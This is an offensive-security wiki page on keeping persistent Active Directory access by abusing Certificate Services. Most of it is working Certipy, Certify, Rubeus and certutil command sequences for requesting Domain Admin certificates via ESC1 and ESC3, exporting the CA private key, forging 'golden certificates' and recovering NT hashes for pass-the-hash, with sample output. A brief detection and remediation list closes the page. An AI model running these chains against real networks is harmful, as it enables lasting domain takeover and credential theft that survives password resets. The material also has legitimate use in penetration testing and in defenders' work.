# ADCS Certificate Persistence

> Abuse AD Certificate Services to establish long-term persistence via certificate-based authentication, ESC techniques, and rogue template exploitation.

- **URL:** https://hackindex.io/platforms/active-directory/persistence/ad-adcs-certificate-persistence
- **Path:** Active Directory > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/active-directory/persistence.md)
- **Published:** 2026-06-11
- **Updated:** 2026-08-11

Certificates obtained through ADCS remain valid for the entire certificate lifetime, regardless of password changes. A certificate issued for a Domain Admin account continues to authenticate as that account even after a full password reset or account lockout, making ADCS-based persistence among the hardest to detect and remove without revoking the certificate or disabling PKINIT.

Two tiers of persistence:

1. **Certificate for a specific account**: valid until the certificate expires (typically 1 year for user templates, 2 years for computer templates)
2. **Stolen CA private key (Golden Certificate)**: forge certificates for any account, indefinitely, signed by the trusted CA

Before using these techniques, confirm ADCS is deployed and working with [ADCS Misconfiguration Discovery](https://hackindex.io/platforms/active-directory/vulnerability-discovery/adcs-misconfiguration-discovery).

## Obtain certificate for privileged account

Request a user certificate for a Domain Admin account. The certificate authenticates via PKINIT and produces an NT hash on every use, even after the account's password has been changed. This is valid as long as the certificate has not been revoked.

#### Kali (Certipy)

**Request and use certificate (Certipy)**

```bash
# Request certificate as Domain Admin: requires DA creds or ESC1 vulnerable template
# With DA credentials (standard User template, or any template allowing enrollment):
certipy req -u administrator@$DOMAIN -p $DA_PASSWORD -template User -ca $CA_NAME -dc-ip $TARGET_IP

# Via ESC1 (specify target UPN in SAN: see ADCS Exploitation page):
certipy req -u $USER@$DOMAIN -p $PASSWORD -template $VULN_TEMPLATE -ca $CA_NAME -upn administrator@$DOMAIN -dc-ip $TARGET_IP

# Use certificate to get NT hash (works anytime, ignores password changes)
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP

# Use NT hash for Pass-the-Hash
nxc smb $TARGET_IP -u administrator -H $NTHASH
# [*] Saved certificate and private key to 'administrator.pfx'
#
# # certipy auth output (run after any password change):
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

#### Windows (Certify + Rubeus)

**Request and use certificate (Certify + Rubeus)**

```powershell
# Request certificate as current user
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:User

# If ESC1 vulnerable template: request as Domain Admin UPN
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$VULN_TEMPLATE /altname:administrator

# Convert PEM to PFX (on Linux or with openssl on Windows)
# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Authenticate: get NT hash via UnPAC-the-Hash
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /getcredentials /show /nowrap

# Inject TGT
.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfxpassword> /domain:$DOMAIN /dc:$TARGET_IP /ptt
# [*] Getting credentials using U2U
#   CredentialInfo:
#     [0] NTLM: fc525c9683e8fe067095ba2ddc971889
```

## Steal CA private key: forge any certificate

If you have local admin on the CA server (typically a DC or dedicated CA host), you can export the CA private key and root certificate. With these you can forge a certificate for any account in the domain, signed by the trusted CA, with any validity period. This is permanent access regardless of certificate revocation lists (CRLs are checked for enrolled certs, but forged certs don't appear in the CRL).

#### Kali (Certipy)

**Steal CA key and forge certificates (Certipy)**

```bash
# Enumerate CAs: find the CA name and host
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $TARGET_IP

# Backup CA private key from CA server (requires local admin on CA host)
certipy ca -backup -ca $CA_NAME -username $DA_USER -password $DA_PASSWORD -dc-ip $TARGET_IP

# Forge certificate for any account: no enrollment, no CRL entry
certipy forge -ca-pfx $CA_NAME.pfx -upn administrator@$DOMAIN -subject 'CN=Administrator'

# Authenticate with forged certificate
certipy auth -pfx administrator_forged.pfx -domain $DOMAIN -dc-ip $TARGET_IP
# [*] Saved CA certificate and private key to '$CA_NAME.pfx'
#
# # certipy forge:
# [*] Saving forged certificate and private key to 'administrator_forged.pfx'
#
# # certipy auth:
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

#### Windows (SharpDPAPI + Certutil)

**Export CA certificate on Windows**

```powershell
# Export CA cert and key via certutil (must run on CA host as local admin)
certutil -exportpfx -privatekey -p $PFX_PASSWORD <CA_thumbprint> C:\Windows\Temp\ca.pfx

# Find CA thumbprint
certutil -store My

# Transfer ca.pfx to Kali then use certipy forge + auth
# Alternatively, use SharpDPAPI to extract CA key from DPAPI-protected store
SharpDPAPI.exe certificates /machine
```

## Certificate persistence via ESC3 (enrollment agent)

ESC3 certificates (enrollment agent templates) let you request certificates on behalf of other users. This persists even after credential rotation: with an enrollment agent certificate you can always issue a new certificate for any target account.

#### Kali (Certipy)

**ESC3 enrollment agent persistence**

```bash
# Step 1: Obtain enrollment agent certificate
certipy req -u $USER@$DOMAIN -p $PASSWORD -template $ESC3_TEMPLATE_1 -ca $CA_NAME -dc-ip $TARGET_IP

# Step 2: Use enrollment agent cert to request cert for Domain Admin
certipy req -u $USER@$DOMAIN -p $PASSWORD -template $ESC3_TEMPLATE_2 -ca $CA_NAME -on-behalf-of '$DOMAIN\administrator' -pfx $USER.pfx -dc-ip $TARGET_IP

# Authenticate as Domain Admin
certipy auth -pfx administrator.pfx -dc-ip $TARGET_IP
# [*] Got hash for 'administrator@corp.local': fc525c9683e8fe067095ba2ddc971889
```

#### Windows (Certify)

**ESC3 enrollment agent persistence (Windows)**

```powershell
# Request enrollment agent certificate
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC3_TEMPLATE_1

# Request certificate on behalf of Domain Admin
Certify.exe request /ca:$CA_HOST\$CA_NAME /template:$ESC3_TEMPLATE_2 /onbehalfof:$DOMAIN\administrator /enrollcert:enrollmentagent.pfx /enrollcertpw:<pfxpassword>
```

**Detection and remediation:**

- Monitor for certificate requests by privileged accounts (Event ID 4886 + 4887 on CA)
- Revoke issued certificates after credential compromise: locate in Certificate Authority MMC under Issued Certificates
- CA private key theft has no native detection. Enable CA audit logging (Event ID 4870) and watch for `certutil -exportpfx` or `certipy ca -backup` equivalent events
- Forged certificates (from stolen CA key) cannot be revoked via CRL. The only remediation is revoking and reissuing the CA certificate itself: a major operation requiring all issued certs to be re-enrolled

## References

- [Certipy (GitHub)](https://github.com/ly4k/Certipy) - ca -backup, forge, auth, req subcommands for all ADCS persistence chains
- [Certify (GitHub)](https://github.com/GhostPack/Certify) - Windows-side certificate requests, enrollment agent, /onbehalfof flag
- [Rubeus (GitHub)](https://github.com/GhostPack/Rubeus) - asktgt /certificate + /getcredentials for UnPAC-the-Hash
- [Certified Pre-Owned: SpecterOps](https://posts.specterops.io/certified-pre-owned-d95910965cd2) - Original ESC1-8 research by Will Schroeder and Lee Christensen, covers persistence paths
